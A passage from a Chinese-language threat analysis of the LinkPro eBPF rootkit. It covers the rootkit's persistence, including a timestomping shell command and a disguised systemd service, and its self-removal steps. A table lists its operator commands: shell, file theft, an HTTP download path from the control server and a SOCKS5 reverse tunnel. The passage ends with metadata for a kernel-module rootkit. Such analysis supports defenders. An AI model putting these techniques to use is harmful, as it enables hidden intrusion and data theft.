Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/.system/.tmp~data.resolveld</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/systemd/system/systemd-resolveld.service</span></code><span leaf="">的修改时间和访问时间对齐到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/passwd</span></code><span leaf="">文件: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sh -c touch -d &#34;$(stat /etc/passwd | grep Modify | awk &#39;{print $2, $3}&#39;)&#34; %s 2&gt;/dev/null</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">启用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolveld</span></code><span leaf="">服务,使其在系统启动时自动运行: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemctl enable systemd-resolveld</span></code><span leaf="">。</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">自删除</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在收到中断信号 ( </span><em><span leaf="">SIGHUP_、_SIGINT_、_SIGTERM</span></em><span leaf="">) 时,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">会卸载自身的各个程序:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Knock</span></em><p><span leaf="">模块:</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc</span></code><span leaf="">命令删除 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">eBPF link:</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc filter del dev eth0 egress</span></code><em style="margin-bottom: 0px;"><span leaf="">( 在本例中 eth0 是具备互联网访问能力的接口 )</span></em></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc qdisc del dev eth0 clsact</span></code></li></ul><li style="margin: 15px 0px;"><p><span leaf="">删除 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">eBPF link</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">删除 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/fs/bpf/fire</span></code><span leaf="">目录</span></p></li><li style="margin: 15px 0px;"><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Hide</span></em><p><span leaf="">模块: 删除其 eBPF links、maps 和 programs ( Tracepoints、Kretprobe )</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">删除 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/libld.so</span></code><span leaf="">,并恢复配置文件 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">的原始内容</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">命令</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦与操作员之间的通信建立完毕,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">提供以下命令:</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">命令</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">功能</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_create</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_resize</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_input</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_close</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">在伪终端 ( pseudo-terminal ) 中执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/bin/bash</span></code><span leaf="">( 使用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">github.com/creack/pty</span></code><span leaf="">模块30 ) 。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_input</span></code><span leaf="">子命令用于和已创建的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bash</span></code><span leaf="">进程交互。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">shell</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">直接执行任意 shell 命令: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/bin/sh -c [cmd]</span></code></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">file_manage</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><em style="margin-top: 0px;"><span leaf="">子命令:</span></em><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">read_file</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">list_files</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">write_file</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">create_file</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">delete_file</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">upload_file</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">create_folder</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">get_current_dir</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">delete_files_batch</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">用于列出、读取、写入和删除文件或目录的命令。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">upload_file</span></code><p><span leaf="">子命令用于把文件从服务器下发 ( </span><strong><span leaf="">下载</span></strong><span leaf="">) 到受害主机。下载使用 HTTP 协议,从形如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a href="http://[server_address]:[port]/api/client/file/download?path=[server_file_path]" target="_blank">http://[server_address]:[port]/api/client/file/download?path=[server_file_path]</a></span></code><span leaf="">的 URL 下载到命令中通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">client_save_path</span></code><span leaf="">指定的本地路径。</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">download_manage</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件下载 ( 上传给操作员 ) 。目标文件被切分为 1MB 大小的分块,每个分块经过 base64 编码后发送给操作员。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse_connect</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">close_reverse_connect</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">建立一个中继,作为 SOCKS5 代理隧道。使用 resocks 模块31。代理服务器的 IP 地址、端口和连接 key 在命令中指定。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse_http_listener</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><em style="margin-top: 0px;"><span leaf="">子命令:</span></em><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">start</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">stop</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">status</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">启动一个 HTTP 服务,与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">模式所启用的服务相同。命令中会指定端口和加密 key ( XOR ) 。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">set_sleep_config</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">更新 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sleep_time</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jitter_time</span></code><span leaf="">参数。</span></p></td></tr></tbody></table><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">arp_diag.ko 内核模块</span></h3><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SHA256</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075</span></code></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件类型</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ELF 64-bit LSB kernel object, x86-64</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件大小</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">586728 bytes</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">威胁</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Linux LKM Rootkit</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">LinkPro 程序内嵌的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">arp_diag.ko</span></code><span leaf="">内核模块 </span><strong><span leaf="">从未被加载</span></strong><span leaf="">。在受害主机上也未观察到该模块被加载的痕迹。其版本信息如下:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">version=1.21</span><br/><span leaf="">description=UNIX socket monitoring via ARP_DIAG</span><br/><span leaf="">author=Linux</span><br/><span leaf="">license=GPL</span><br/><span leaf="">srcversion=AB501E218EDD1F4EA00642E</span><br/><span leaf="">depends=</span><br/><span leaf="">retpoline=Y</span><br/><span leaf="">name=arp_diag</span><br/><span leaf="">vermagic=6.8.0-1021-aws SMP mod_unload modversions</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该模块注册了四个 </span><strong><span leaf="">Kernel probes</span></strong><span leaf="">,分别附加到内核函数 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, 